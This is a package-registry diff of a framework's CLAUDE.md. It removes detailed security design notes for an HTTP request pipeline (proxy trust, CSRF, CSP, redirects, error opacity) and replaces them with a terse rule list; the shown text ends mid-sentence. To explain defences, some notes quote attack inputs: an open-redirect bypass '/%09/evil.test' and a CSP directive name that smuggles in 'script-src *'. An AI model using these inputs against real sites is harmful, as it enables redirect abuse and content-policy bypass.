@ultimat3/http 21.0.0 → 22.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -4,675 +4,181 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
4
4
 
5
5
  ## Boundary
6
6
 
7
- - May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0
8
- and 1, which is the whole rule. There is no extra restriction here; the line used to read
9
- "core, schema. Nothing else, ever", stated no reason, and was stricter than the tier table.
10
- **What it bought was three re-implementations.** `locale.ts` carried its own `negotiateLocale`,
11
- `isValidTimeZone` and `resolveTimeZone`, and each disagreed with its owner about the same
12
- request: an app shipping `{ en, fr }` resolved `ctx.locale` to `'en'` forever, a switcher writing
13
- the documented `LOCALE_COOKIE` (`x_locale`) was read by nothing because this package spelled it
14
- `x-locale`, and `x-timezone: +01:00` — a fixed offset with no DST rules — became `ctx.tz` and
15
- threw four packages later. Adding a tier-1 import is cheaper than a fourth divergence.
16
- - May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth
17
- come in via `ServerHooks` (`hooks.ts`), declared structurally.
18
- - `@ultimat3/action` (tier 3) is what wires policy into `hooks.authorize`.
19
-
20
- ## Rules
21
-
22
- - **Every numeric knob `defineHttpConfig` resolves is screened, `As of 2026-08-26`** — `port`,
23
- `bodyLimitBytes`, `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs` and `trustedProxyHops`,
24
- each a whole number in its own domain or `X_CONFIG_INVALID` (core's code, borrowed as
25
- `@ultimat3/auth` borrows it). Measured with `NaN`, which is what `Number(process.env.…)` answers
26
- for an unset variable: `total > NaN` is false so the body cap stopped capping and the whole
27
- payload was buffered; `NaN <= 0` is false so a deadline armed and `setTimeout(fn, NaN)` is 1ms,
28
- which 504s every request; `ceiling > 0` is false so `admit` shed nothing; and
29
- `Math.max(0, Math.floor(NaN))` is `NaN`, so `trustProxy: true` silently trusted no hop and every
30
- caller's ip became the proxy's. `Math.max(0, …)` was the guard for the last of those — a clamp is
31
- not a validator, and this package relied on one. `webhook-verify.ts` screens its own two
32
- (`toleranceMs`, `maxBytes`) and `rate-limit.ts` its `maxKeys`; the helper names carry `Finite`
33
- (`assertFiniteCount`, `assertFiniteKeyCap`, `assertFiniteBodyLimit`) because
34
- `bun run finite-bounds` recognises a repair by the shape of the CALL — spelled `count`, all five
35
- config options read as unchecked to the ratchet while every one was screened. `maxBytes` is
36
- refused HERE as well as inside `readWithinLimit`: that one is a file away and its `fix:` names
37
- core's reader rather than the option the caller wrote.
38
-
39
- **The FLOOR is per option, because only the caller knows what zero means** (`As of 2026-08-26`).
40
- `requestTimeoutMs: 0` is "no deadline" and `maxInflight: 0` is "never shed" — decisions the code
41
- reads — so those two floor at 0; `trustedProxyHops` floors at **1**, and it shipped for one day
42
- screened at 0. `forwardedElement` answers `undefined` for `hops < 1`, so
43
- `{ trustProxy: true, trustedProxyHops: 0 }` was byte-for-byte the failure the screen's own comment
44
- names: `clientAddress` falls back to the socket, one rate-limit bucket for everything behind the
45
- ingress, `x-forwarded-proto` untrusted and HSTS never emitted. `-1` and `NaN` were refused for
46
- producing exactly that state and `0` was accepted into it. `resolveTrustedProxyHops` owns both
47
- refusals — unset is `X_TRUST_PROXY_UNSET`, out of domain is `X_CONFIG_INVALID` — and there is no
48
- `?? 0` behind it, because a default of zero reopens the same hole from the other side.
49
-
50
- **`MAX_PROXY_HOPS` is EXPORTED, `As of 2026-08-26`**, and that is the point of it. It was module
51
- private, so `@ultimat3/cli`'s `trustedHopsFromEnv` — which screens the same setting arriving as
52
- `TRUSTED_PROXY_HOPS` — restated the literal, and one setting came to have two ceilings: that end
53
- said 16 while this one said 64, so a deployment behind 20 hops was accepted by the library and
54
- refused at boot. `cli` is tier 5 and this is tier 2, so the import is downward and legal. The
55
- number lives here because this is where the setting is.
56
-
7
+ - May import: `@ultimat3/core`, `@ultimat3/schema`, `@ultimat3/i18n`, `@ultimat3/time` — tiers 0 and
8
+ 1. Locale and zone negotiation are i18n's and time's, never re-implemented here.
9
+ - May NOT import `@ultimat3/policy` or `@ultimat3/entity` — same tier. Authz and auth come in via
10
+ `ServerHooks` (`hooks.ts`), declared structurally. `@ultimat3/action` (tier 3) wires policy into
11
+ `hooks.authorize`.
12
+
13
+ ## Rules — configuration
14
+
15
+ - **Every numeric knob `defineHttpConfig` resolves is screened** (`port`, `bodyLimitBytes`,
16
+ `requestTimeoutMs`, `maxInflight`, `drainTimeoutMs`, `trustedProxyHops`) → `X_CONFIG_INVALID`
17
+ (borrowed). Helpers carry `Finite` (`assertFiniteCount`, `assertFiniteKeyCap`,
18
+ `assertFiniteBodyLimit`) so `bun run finite-bounds` sees them; `webhook-verify.ts` and
19
+ `rate-limit.ts` screen their own. **The floor is per option**: `requestTimeoutMs: 0` and
20
+ `maxInflight: 0` are "off"; `trustedProxyHops` floors at 1. `resolveTrustedProxyHops` owns both
21
+ refusals (`X_TRUST_PROXY_UNSET`, `X_CONFIG_INVALID`), with no `?? 0` behind it.
22
+ - **`MAX_PROXY_HOPS` is exported** — `@ultimat3/cli`'s `trustedHopsFromEnv` imports it; one ceiling.
57
23
  - Route `meta.auth` is required. Never default a route to public.
58
- - **An app declares its half of `HttpConfig` through `configureHttp()`, and the boot lays its own
59
- facts over it** (`As of 2026-08-24`). Until 12.0.0 the entire tuning surface was **unreachable
60
- from a shipped app**: `AppConfig` has never had an `http` key, `RuntimeOverrides` carries none,
61
- and the only construction any shipped process made was one fixed literal in
62
- `packages/cli/src/dev-roles.ts` passing eight boot facts — so `DEFAULT_CORS.origins` was `[]` in
63
- every deployment (an SPA on `app.example.com` calling `api.example.com` could not work, ever),
64
- `bodyLimitBytes` was 1 MiB for a 4 MB CSV endpoint, `requestTimeoutMs` 30s for a five-minute
65
- export, and `rateLimit.buckets` was 120 burst / 2 rps for a bank and a blog alike. Fourteen
66
- `fix:` lines told the reader to edit `http.<key>` in `app.config.ts`, which has never held one.
67
- It is a registration and not a config key for `configureAuthenticator`'s reason, stated in
68
- `hooks.ts`: `@ultimat3/core` is tier 0 and cannot hold this package's types, so an `http` block
69
- on `AppConfig` would be a **second declaration** of `HttpConfigInput` in a package that can
70
- never check it against this one. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>`,
71
- **derived, never listed**: a key the boot always overwrites (`port`, `hostname`, `dev`,
72
- `buildId`, `signInPath`, `trustProxy`, `trustedProxyHops`, `rateLimit.scope`) is a type error
73
- where an app writes it, rather than a value silently discarded at every boot. `mergeHttpConfig`
74
- merges one level down — `security.csp.extend` per DIRECTIVE, because the app's CDN source and
75
- the boot's inline-script hash are each the whole answer for something, and either alone breaks a
76
- page. `type-pins.ts` holds the other half: a key on `HttpConfig` and not on `HttpConfigInput` is
77
- a build error, which `scripts/config-readers.ts` cannot see — that ratchet walks `AppConfig` and
78
- asks whether a key is READ, and this is the mirror question.
79
- - **`asCtx` is a WIDENING the compiler checks, never a cast.** `RequestContext extends Ctx` and
80
- `asCtx` is the identity function. It used to be `ctx as unknown as Ctx` over an object that set
81
- none of `clock`, `now`, `logger`, `signal` or `services` — so `ctx.now()` threw
82
- `TypeError: ctx.now is not a function` on every audited action served over HTTP,
83
- `useService()` threw a `TypeError` instead of the `X_SERVICE_MISSING` it exists to raise, and
84
- `throwIfAborted()` — the documented cancellation seam — was inert on the one surface where a
85
- caller can actually go away. Never reintroduce the assertion: the type error IS the enforcement,
86
- and it is a type-pin rather than a `.test.ts` because `tsconfig.json` excludes tests.
87
- `ctx.buildId` is core's meaning — the build this PROCESS serves; the CLIENT's claim is
88
- `ctx.clientBuildId`, read only by `assertBuild()`.
89
-
90
- **`RequestContext extends Ctx` again, and this file no longer BUILDS a context — it composes
91
- one** (`As of 2026-08-24`). `Ctx extends CtxServices`, and `CtxServices` is the seam an app
92
- augments (`declare module '@ultimat3/core'`) to declare `ctx.posts` — so in an APP's program
93
- every service it declared became a REQUIRED member of `createRequestContext`'s object literal,
94
- and this file failed to compile inside `examples/dummy` with `TS2739: missing posts, orgs` while
95
- the framework's own gate, which augments nothing, stayed green. The framework cannot set members
96
- only the app's boot knows about.
97
-
98
- `createRequestContext` now spreads `createContext()`'s result. Those members arrive WITH the
99
- base, so the literal is checked in full and there is **no assertion left in this file** —
100
- `withServices`, which existed for one release, is gone. `packages/core/src/context.ts` keeps the
101
- framework's one irreducible `as Ctx` and its header states, with the four measured alternatives,
102
- why it cannot be removed below a major.
103
-
104
- Composing is also one constructor for one shape instead of two. This file used to re-derive
105
- `clock`, `now`, the logger child, `signal`, `deadlineAt` and the service bag, so core could fix
106
- any of them and this surface would keep the old answer — which is exactly what happened to the
107
- bag (see the bullet below). `defineService` factories now install here too, for the same reason:
108
- they are `createContext`'s, and this is `createContext`.
109
-
110
- `type-pins.ts` carries `_RequestContextIsACtx`, because `asCtx` is a function body and a future
111
- edit answering a failure there with a cast would delete the enforcement and leave the comment.
112
- The reverse direction is FALSE by design — core's `Ctx` carries no `requestHeaders`, which is
113
- what `assertInRequest` proves one way at runtime.
114
- - **`defineService` used to be a job-and-CLI feature, and nothing said so** (`As of 2026-08-24`).
115
- Two halves, and together they made services unreachable on the surface an app spends its life
116
- on. This file built its own service bag from `RequestContextInit.services` alone and never
117
- called core's `installedServices()`; `pipeline.ts:224` passes NO `services` at all. So a
118
- `defineService('posts', …)` an app registered at boot was installed for a job, a task and a CLI
119
- command and for nothing else — over HTTP `ctx.services` was `{}` and `useService('posts')` threw
120
- `X_SERVICE_MISSING`. And the bag, even when one was passed, was never spread ONTO the context,
121
- so `ctx.posts` — the spelling `docs/architecture/15-adding-a-feature.md` writes in its worked
122
- example — read `undefined` beside a populated `ctx.services`.
123
-
124
- Composing `createContext` fixes both at once, which is the argument for composing: the installer
125
- is core's and so is the spread. Services go on FIRST so a service an app named `actor` or
126
- `logger` loses to the request's own field and stays reachable as `ctx.services['actor']`; the
127
- context's meaning never depends on what an app named a service. `context.test.ts` pins the
128
- factory install, the spread and the collision order.
129
- - **A member's saved locale and zone apply, re-resolved after `auth`** (21.0.0). The `locale`
130
- stage runs before `auth`, so it resolved from the cookie and `Accept-Language` alone and the
131
- `user` rung of `resolveLocale` / `resolveTimeZone` was filled by nothing since 2.0.0. Core's
132
- `Actor` now carries `locale?` / `tz?` (the saved preferences, set by whoever authenticates), and
133
- the `auth` stage re-runs `resolvePreferences` when either is present — the owners' order, so a
134
- locale cookie still beats a saved locale and a saved zone beats the cookie. `member-preferences.test.ts`.
135
- - **A request's registered services are LAZY and bound to the actor that authenticated**
136
- (`request-services.ts`, 21.0.0). The context is built before the `auth` stage names anyone, and
137
- core's constructor built every `defineService` factory right there — so every service acted as
138
- the anonymous actor for the whole request while `ctx.actor` read the real one: the reference
139
- app's like answered 500 `X_ORG_NOT_A_MEMBER` for a member. `createRequestContext` passes core
140
- `installServices: false` and `bindRequestServices` turns `ctx.services` and each registered
141
- `ctx.<name>` into getters: built on first read, rebuilt only if the actor, locale or tz it closed
142
- over changed. One build for a handler; a hook that reads a service before auth gets its own.
143
- `request-services.test.ts` drives the real pipeline. Pre-existing since 13.0.0.
144
- - **The two inbound ids are read BEFORE the context and the span, in `correlation.ts`.** `startSpan`
145
- resolves its parent from `currentSpanContext()`, which reads `ctx.traceId`, so a `traceparent`
146
- parsed by a stage arrived one frame after the span's context was already frozen: the caller's
147
- trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
148
- and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
149
- PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
150
- **Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
151
- is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
152
- everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
153
- `traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
154
- between two Ultimate services under the default `trustProxy` (false), for a value that carries
155
- correlation and no authority. Never "fix" the inconsistency by gating it.
156
- - **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
157
- `trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
158
- every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
159
- internet, and one scanner enough to 429 every signup on the fleet. The entry read is
160
- `entries.length - hops`, never `[0]`, which is whatever the client typed; a chain shorter than
161
- declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
162
- requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
163
- `x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
164
- The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
165
- `x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
166
- TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
167
- **A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
168
- so `ctx.peer` is `null` for an untrusted deployment, a missing header and a short chain alike.
169
- `ctx.peer` is never an actor: `hooks.authenticate` is the one funnel, through
170
- `verifyWorkloadToken()` -> `actorFromService()` in `@ultimat3/auth`.
171
- - **One deadline per request, and it is what makes `ctx.signal` exist.** `deadline.ts` holds the
172
- `AbortController` and the timer; `config.requestTimeoutMs` (30s, `0` disables) is the budget and
173
- a caller may SHORTEN it with `x-request-timeout-ms`, never lengthen it. Two halves, both needed:
174
- the abort is what cooperative code unwinds on, and the race in `execute` is what answers the
175
- socket when a handler never looked at the signal. `X_TIMEOUT` is borrowed (core's concept) and
176
- already mapped to 504. **`ctx.signal` is the deadline OR the caller going away**, `As of
177
- 2026-08`: `pipeline.ts` hands `startDeadline` the inbound `Request.signal` and the two are joined
178
- with `AbortSignal.any`, which is what `context.ts` had documented and nothing wired — a closed
179
- tab held its handler, its pool slot and its vendor connection for the whole 30s. `expired` stays
180
- the timer's alone: it answers the SOCKET, and a caller that hung up has no socket to answer.
181
- **And it leaves this process on the next hop's headers, `As of 2026-08-24`**:
182
- `Deadline.deadlineAt` is published as core's `ctx.deadlineAt`, and `traceHeaders()` (tier 0, the
183
- one thing both typed clients spread before the caller's own headers) sends what is LEFT as
184
- `x-request-timeout-ms`. Before that the header had exactly one reader — `resolveTimeoutMs`, in
185
- this file — and **zero writers anywhere in the tree**, so gateway → A (30s) → B meant a call made
186
- at t=29 started B on a FRESH 30s: real work, holding a pool slot and a vendor connection, half a
187
- minute after A's socket was answered `X_TIMEOUT`. A spent budget sends no header at all rather
188
- than `0`, because `resolveTimeoutMs` ignores anything under 1ms and falls back to its own.
189
- With `requestTimeoutMs: 0` the caller's signal is handed through as-is rather than the shared
190
- never-aborted singleton, which every such request used to share — one `abort` listener per
191
- request, accumulating for the life of the process. Always `deadline.clear()` in the `finally` —
192
- a live timer keeps the event loop from going idle, so a process that answered everything still
193
- refuses to exit.
194
- - **`admit` is the second stage, and it refuses before ANY work.** `isDraining()` had no reader in
195
- this package while this file claimed the layer answered 503 on it; past `config.maxInflight`
196
- (1000, `0` disables) a request is shed `X_OVERLOADED` with `retry-after`. Both set the header on
197
- `ctx.headers`, which the `response` stage merges, rather than teaching `error-map` a second
198
- special case. The in-flight number is core's `inflightCount()` — the same counter `beginWork()`
199
- in `server.ts` maintains — never a private one, for the same reason the drain phase is core's.
200
- A refusal that costs as much as a served request is not load shedding.
201
- - **`csrf` sits after `auth` and before `body`, and CORS cannot replace it.**
202
- `application/x-www-form-urlencoded` is a CORS-*simple* content type, so a cross-site
203
- `<form method="post">` is SENT and EXECUTED with the session cookie attached and
204
- `cors.origins: []` only withholds the reply — long after the refund went through. After auth
205
- because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
206
- before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
207
- `Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
208
- `X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
209
- `cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
210
- 2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
211
- (the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
212
- read as "this origin is one we allow": every origin on the internet was same-origin, and the
213
- cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
214
- origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
215
- TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
216
- double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
217
- token mode is worse than an honest `'origin' | 'off'`.
218
- - **An unclassified 5xx tells the CALLER nothing off the throwable** (`As of 2026-08-23`).
219
- `error-page.ts` has always shown a browser the status, the code and the request id and said so in
220
- its header; `toProblem` rendered `facts.cause`, which for a 500 nobody classified falls through to
221
- the exception's own `message` — a driver's DSN, the row Postgres rejected, an absolute path. One
222
- condition, two audiences, and they disagreed. The discriminator is a code nobody declared a status
223
- for, plus `X_INTERNAL` itself: core's `toError()` wraps a caught value into an `InternalError`
224
- whose cause is `renderCauseValue(value)`, so the framework's own word for "unclassified" is where
225
- the leak arrives. `toProblem(error, { dev })` is the seam and `dev` DEFAULTS TO FALSE: the
226
- `error-map` stage is the one call site that can see the config, and every degraded `problem()` in
227
- the tail must stay opaque. The real text is not lost — it is the log field and the error report,
228
- both keyed by the request id the caller was given.
229
- - **The problem document carries the ISSUE LIST, and the opacity rule applies to it**
230
- (`As of 2026-08-24`). `ProblemDocument.issues` is a top-level extension member — RFC 9457 §3.2
231
- puts extension members at the document root and every Ultimate extension already is one
232
- (`code`, `cause`, `fix`, `docs`, `requestId`); there is no bag. `@ultimat3/action` has attached
233
- the list to `meta.issues` since `InputInvalidError` grew its third parameter and **nothing
234
- carried it**, so every app in this framework recovered per-field form errors by splitting
235
- `cause` on `'; '` — guesswork the moment a message contains the separator.
236
-
237
- Four rules, and the third is the one most likely to be dropped by a later edit.
238
- `issuesOf` is TOTAL and module-private, written in `retryAfterOf`'s shape and for its reason:
239
- `meta` is a property read on a value this package did not build, in the frame that decides what
240
- the caller sees. It is **all-or-nothing** — a client that finds `issues` uses it INSTEAD of
241
- `cause`, so one unreadable entry drops the whole list back to the prose line rather than
242
- shipping a subset, which would be a rejection the user never sees and a form reporting itself
243
- valid. The member is **absent** when there is none, never `undefined` and never `[]`:
244
- `JSON.stringify` drops an `undefined`, but this interface is read directly by `error-page.ts`
245
- and by tests, and `[]` claims "validated clean" about a request that was just refused — which
246
- the first implementation of this reader emitted, because `Array.isArray([])` is true and the
247
- loop simply does not run. A list past `MAX_PROBLEM_ISSUES` (100) is dropped WHOLE for the same
248
- all-or-nothing reason, and because `@ultimat3/action`'s `issuesFromWire` bounds it identically
249
- on arrival: sending it is a body that costs the wire and answers nothing. That package is tier 3,
250
- so the number is restated here and pinned on this side. And it is **dropped under exactly the condition
251
- that blanks `title`/`detail`/`cause`** — an issue list on an unclassified 5xx is precisely the
252
- internal detail `INTERNAL_CAUSE` exists to withhold, because it names the fields and the
253
- expectations of something the caller was never meant to see inside. `X_INPUT_INVALID` is a
254
- declared 4xx and so is never opaque.
255
-
256
- `received` is forced to `''` and every entry is rebuilt member by member, never spread. Not
257
- redundancy with `toValidationIssues`, which forces the same thing: this is the boundary where
258
- the value LEAVES the process, a conforming library's own issue object is first-class here and
259
- routinely carries the rejected value, and `@ultimat3/schema`'s `describeValue` exists because a
260
- password-strength rule once wrote mistyped passwords into the log index.
261
- - **A rejected value is a log FIELD, never part of the message.** `logger.emit()` redacts `bound`,
262
- `contextFields` and `fields` — and never `msg` — so `logger.error(\`${code}: ${cause}\`)` in the
263
- `error-map` stage wrote a rejected password verbatim into the log store, at 4xx, which is logged
264
- and not reported and therefore kept for the full retention. The message is the CODE alone. The
265
- other half is `@ultimat3/schema`'s `describeValue` (shape, never content) and it is the
266
- load-bearing one; this half is what makes the value redactable at all.
267
- - **A repeated field is a LIST, in all three parsers.** `collectFields` in `request.ts` is the one
268
- collector for the query, `application/x-www-form-urlencoded` and `multipart/form-data`. The last
269
- two were `Object.fromEntries`, which keeps the LAST value: a checkbox group posting `tags` three
270
- times reached the body schema as one string, while the query parser three functions up had built
271
- an array for the same shape since it shipped.
272
- - **A rejected BODY is not a log field either — `bodyInvalid`'s `issues` may name only what the
273
- framework chose** (`As of 2026-08-19`). `request.ts` built `could not parse ${type}: ${String(error)}`,
274
- and the runtime's `SyntaxError` quotes the token it choked on: a `POST` of
275
- `{"password": hunter2SuperSecret}` answered `422` with that identifier in `cause`, which goes to
276
- the CALLER through `toProblem` and to the log store as the unredactable field `cause`. Two rules,
277
- both needed. The caller-facing `issues` are a fixed vocabulary — `could not parse the body as
278
- JSON`, and the LIST of accepted content-types rather than the one that was sent — and everything
279
- the caller supplied rides in `bodyInvalid`'s third argument, `meta`, which `toProblem` never
280
- renders for a framework code (`registerProblemMeta` refuses to declare one). The parser's own message goes through core's `renderThrowable`, never `String(error)`:
281
- `bun run error-render` cannot see this class of defect, because a `catch` binding is not a
282
- parameter, so it is a review rule here and a blind spot there.
283
- - **`meta` reaches the document only by declaration — per code, per key, app codes only**
284
- (`As of 2026-09-05`). `meta` is the operator-only bag: `bodyInvalid` keeps the body excerpt
285
- there, the limiter its internal key, core's `assert` the rejected value, `env-example.ts` file
286
- paths, and each of those relies on `toProblem` never rendering it. So "carry `meta`" was never
287
- an option, and an app whose `X_SESSION_CHECKOUT_BUSY` put `{ sessionId, title, state }` there
288
- had its island recover the id by running a UUID regex over `cause`. `registerProblemMeta({
289
- X_SESSION_CHECKOUT_BUSY: ['sessionId', 'title', 'state'] })` (`problem-meta.ts`) is the seam,
290
- in `registerErrorStatus`'s shape and refusing what it refuses — a framework-owned code —
291
- plus `issues` (one home, one bound) and `__proto__`. `wireMeta` copies the declared keys that
292
- are set, member by member through `Object.defineProperty`, all-or-nothing for `issuesOf`'s
293
- reason and bounded at `MAX_PROBLEM_META_BYTES`; `toProblem` drops it under exactly the
294
- `opaque` condition that blanks `cause`, which is also the belt on "both registrations are
295
- needed": a code with keys and no status is unclassified. The typed client
296
- (`@ultimat3/action`'s `metaFromWire`) puts the member back on `RemoteActionError.meta`, under
297
- the four members that class owns.
298
- - **A browser that fails `auth: 'required'` is redirected; an agent gets the problem document.**
299
- One condition, two audiences, decided once in `auth-redirect.ts` and applied in the `error-map`
300
- stage before the overlay. `config.signInPath` is `null` until an app names its page, because a
301
- framework that guessed `/signin` would send an app spelling it `/login` to a 404 — strictly
302
- worse than the JSON. The round trip is `?next=`, and `nextAfterSignIn` is the ONE reader of it:
303
- anything that is not a same-origin path falls back, or the page that hands out a session
304
- becomes an open redirect. **A control character is an off-site destination**: a browser deletes
305
- TAB, CR and LF from a `Location` before parsing it, so `/%09/evil.test` decodes to a value that
306
- starts with one slash, passes a prefix check and is then followed as `//evil.test`. The prefix
307
- checks are not the last word — the value is re-parsed against an origin no relative path can
308
- reach, and anything that resolves off it falls back. Nothing here throws either: `?next=%` is a
309
- bare `URIError`, and this runs while the pipeline is already rendering a 401.
310
- - **The body cap is enforced while reading, never after.** `UltimateRequest.#read` pulls the body
311
- through a counting reader and cancels the stream the moment the running total passes
312
- `bodyLimitBytes`. `content-length` is a courtesy — a `transfer-encoding: chunked` request
313
- declares none, so `arrayBuffer()` allocated a 10GB payload in full before measuring it. Multipart
314
- goes through the same capped bytes (re-parsed by `Response.formData()` off the announced
315
- boundary) rather than being handed to the runtime as an unbounded stream, which is what left it
316
- with no byte guard at all when the length was undeclared.
317
- - **The `cache-headers` stage is the ONE owner of the final cache answer, `As of 2026-08-23`.** It
318
- used to apply the actor-aware default only when nothing had set a header — and every page route
319
- in every app sets one, because `@ultimat3/render`'s `ssrHeaders` writes
320
- `public, max-age=0, s-maxage=30, stale-while-revalidate=300` for any route that declares no
321
- `policy`, which is exactly what `x g route --surface app` scaffolds. So the rule below was
322
- unreachable for the surface it was written for. A render mode states the MODE's intent; this
323
- stage decides, and `offersSharedCache` is the discriminator: a shared answer for an identified
324
- request becomes `PRIVATE_CACHE`, an anonymous one gains `SHARED_CACHE_VARY`. `immutable` is left
325
- alone in both directions — it asserts the body is a function of the URL, which is what a
326
- content-addressed island chunk is, and demoting those would re-download every chunk on every
327
- navigation for every signed-in user.
328
- - **The cache default reads the ACTOR, not just the route, and `vary` is added and never set.**
329
- `meta.auth` is only `'public' | 'required'`, so the page that greets a signed-in visitor by name
330
- is a `'public'` route: keying the default off the route alone put that visitor's personalised
331
- HTML in a shared cache for 60 seconds. A request whose actor is not anonymous is `private`;
332
- an anonymous one stays shared-cacheable and carries `vary: accept-language, cookie`. Both halves
333
- are required — either alone leaves the hole. `addVary` (`response.ts`) is how the `response`
334
- stage merges CORS's `vary: origin` into the cache stage's key instead of replacing it.
335
- - **A `security.csp.extend` entry is refused at `defineHttpConfig` unless it can only emit the
336
- directive it names.** A directive name and a source both go into the header VERBATIM and the
337
- header's own separators are `;` and ` `, so `extend: { 'x; script-src *': [] }` was not one badly
338
- named directive — it was a second directive nobody declared, widening the one this package locks
339
- down hardest. `X_CSP_DIRECTIVE_INVALID`, at boot, because there is no encoding for a CSP source
340
- and escaping one at emission time is not a repair. `buildCsp` builds through a **`Map`** for the
341
- other half of the same class: `directives[name]` was a computed read of an object literal keyed by
342
- a caller-chosen name, so `extend: { toString: [...] }` spread a function off `Object.prototype`
343
- and threw a bare `TypeError` at boot. `proto-index` cannot see it — `baseline()` is what produces
344
- the object.
345
- - **`config.drainTimeoutMs` is `number | null`, and `null` is the default** (`As of 2026-08-23`).
346
- `createServer` calls `configureLifecycle({ deadlineMs })` only when an app DECLARED one. It used
347
- to call it unconditionally with a value `defineHttpConfig` had defaulted to 15s, so an app that
348
- wrote `configureLifecycle({ deadlineMs: 600_000 })` — the edit `X_SHUTDOWN_TIMEOUT`'s own `fix:`
349
- prints — had it silently reverted by the next line of boot, in every process that serves web.
350
- "Nobody said" and "the app said 15 seconds" are different claims and only one of them may move a
351
- process-global deadline.
352
- - **`cors.origins: ['*']` with `credentials: true` is refused at `defineHttpConfig`.** No browser
353
- accepts that pair, and `allowedOrigin` answering `null` for it meant the natural "open it up"
354
- edit emitted no CORS headers at all, silently, on every request — with `DEFAULT_CORS.credentials`
355
- (true) as the half nobody thinks to look at. `X_CORS_CONFIG_INVALID`, at config time, with the
356
- one-line edit in the `fix`. A REFUSED origin still gets `vary: origin`: without it a shared cache
357
- files the un-CORS'd body under the URL alone and hands it to an allowed origin next.
358
- - **HSTS is emitted only when https is affirmed.** `securityHeaders(config, { https })` defaults to
359
- NOT sending it — the pipeline is the one caller that knows, and it passes `ctx.https`. The guard
360
- read `!== false`, so every other caller sent a two-year `includeSubDomains` for a connection
361
- nothing had established was secure, which is the opposite of what the comment above it promised.
362
- - **`meta.enforcedBy` says who evaluates `meta.policy`, and the `authz` stage obeys it.**
363
- `'pipeline'` (the default, and what a page wants) means the stage decides through
364
- `hooks.authorize`; `'handler'` means the handler is the one evaluation and the stage returns
365
- without deciding — no hook required, and none consulted. An action route says `'handler'`
366
- because `@ultimat3/action`'s `invoke` loads the row a row-level rule reads and this stage
367
- cannot. Deciding in both places is two authz systems, and the one that answers first is the
368
- one holding less.
369
- - **A 403's `fix:` names the POLICY, never the pathname** (`As of 2026-08`). `forbidden` emitted
370
- `x policy explain ${ctx.url.pathname}`, and `x policy explain` resolves a policy SUBJECT — a
371
- permission, an action name or a query name. A page pathname is none of them, so the one command
372
- the error told the reader to run exited `X_DECLARATION_UNKNOWN` (`x policy explain /settings`,
373
- reproduced in `examples/dummy`). The third argument is `route.meta.policy`, which is what the
374
- `authz` stage was evaluating and what the index can resolve; anything that is not a bare
375
- `resource:verb` — a composite renders `and(a:b, c:d)` — degrades to `x routes --json`, the shape
376
- `bodyInvalid` already uses. A fix that names the wrong thing is not a fix.
377
- - **`ctx.actor` is never null.** `asCtx` publishes the request context itself as core's `Ctx`,
378
- and `Ctx.actor` is an `Actor` — so "nobody" is core's anonymous actor, not `null`. The
379
- `authenticate` hook still says it with `null`; the `auth` stage is where that becomes
380
- `anonymousActor()`. A null here reaches every `ctx.actor` reader in the framework as a contract
381
- violation that only shows up on the first unauthenticated request.
382
- - **The lifecycle is three files, and the split is by responsibility, not by length.** `pipeline.ts`
383
- owns the ORDER (`PIPELINE_STAGES`, the phases, the run loop, ALS, the span and the one metrics
384
- call); `stages.ts` owns what each stage does and declares the vocabulary (`StageName`,
385
- `StageRun`, `Stage`) beside the implementations it names; `finalize.ts` owns the promise that the
386
- tail answers rather than rejects. Imports go one way — `pipeline.ts` → `stages.ts` — because a
387
- stage body reads `StageRunnersInput`, an explicit list of what a stage may depend on, and never
388
- `PipelineDeps`. Adding a stage means an entry in **both** `PIPELINE_STAGES` and the
389
- `Record<StageName, StageRun>` table; the record type is what makes forgetting one a build error.
390
- - Never add a stage to `PIPELINE_STAGES` without a `why` and a test.
391
- - **The `locale` stage decides WHERE, the owners decide WHAT.** It reads a header and a cookie and
392
- hands the raw strings to `@ultimat3/i18n`'s `resolveLocale` and `@ultimat3/time`'s
393
- `resolveTimeZone`; it must never negotiate, validate or canonicalize one itself. The two answers
394
- land on `ctx.locale` and `ctx.tz` — **core's own declared fields, the framework's only ambient
395
- store for either** — so `currentLocale()` and `currentTimeZone()` answer for this request once
396
- `pipeline.ts` publishes the context into the ALS. `@ultimat3/time` kept a second store
397
- (`ctx['timeZone']`) with zero writers until 1.3.0, and the whole cost was silent: every
398
- `@ultimat3/ui` server render formatted its dates in UTC however the request arrived. A default
399
